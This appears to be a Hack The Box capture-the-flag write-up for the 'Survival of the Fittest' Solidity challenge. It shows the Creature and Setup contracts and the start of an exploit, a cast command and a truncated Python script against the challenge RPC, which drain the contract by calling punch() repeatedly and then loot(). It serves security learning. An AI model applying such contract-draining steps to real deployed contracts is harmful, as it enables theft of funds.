blockchainfreemedium

Survival of the Fittest

Hack The Box

Survival of the Fittest is a Solidity-based blockchain challenge where the game contract contains a vulnerability in the game logic. The goal is to drain the target contract's balance to get the flag. The Creature.sol contract models a fighter with health/lifePoints, and Setup.sol checks the win con

$ ls tags/ techniques/
contract-exploitationgame-logic-abuseeth-call-manipulation

$ cat /etc/rate-limit

Rate limit reached (20 reads/hour per IP). Showing preview only — full content returns at the next hour roll-over.

Survival of the Fittest — Hack The Box

Description

Survival of the Fittest is a Solidity-based blockchain challenge where the game contract contains a vulnerability in the game logic. The goal is to drain the target contract's balance to get the flag. The Creature.sol contract models a fighter with health/lifePoints, and Setup.sol checks the win condition.

Contract Analysis

Creature.sol

// Simplified Creature contract structure contract Creature { uint256 public lifePoints = 20; address public owner; constructor() { owner = msg.sender; } // Damage function function punch() external { lifePoints -= 1; } // Vulnerable loot function — only available when lifePoints == 0 function loot() external { require(lifePoints == 0, "Creature is still alive"); payable(msg.sender).transfer(address(this).balance); } }

Key observations:

  • lifePoints is initialized to 20
  • The punch() function is public and can be called by any address
  • The loot() function checks lifePoints == 0 before transferring ether
  • Transfer uses transfer() — a safe method (2300 gas)

Setup.sol

contract Setup { address public TARGET; constructor(address _target) { TARGET = _target; } function isSolved() public view returns (bool) { // Win is counted when TARGET balance equals 0 return address(TARGET).balance == 0; } }

Win logic:

  • The contract is considered solved when TARGET.balance == 0
  • This is achieved by calling loot() after killing the creature

Exploitation

Step 1: Connecting to RPC

# Connect to challenge RPC CAST_RPC_URL="http://83.136.249.34:46638/rpc" # Check target contract balance cast balance <TARGET_ADDRESS> --rpc-url $CAST_RPC_URL # Expected: > 0 ether

Step 2: Reducing lifePoints to 0

#!/usr/bin/env python3 """ Script for exploiting Survival of the Fittest challenge. Punches the creature 20 times to reduce lifePoints to 0. """ import requests RPC_URL = "http://83.136.249.34:46638/rpc" TARGET_ADDRESS = "<TARGET_CONTRACT_ADDRESS>" ...

$ grep --similar

Similar writeups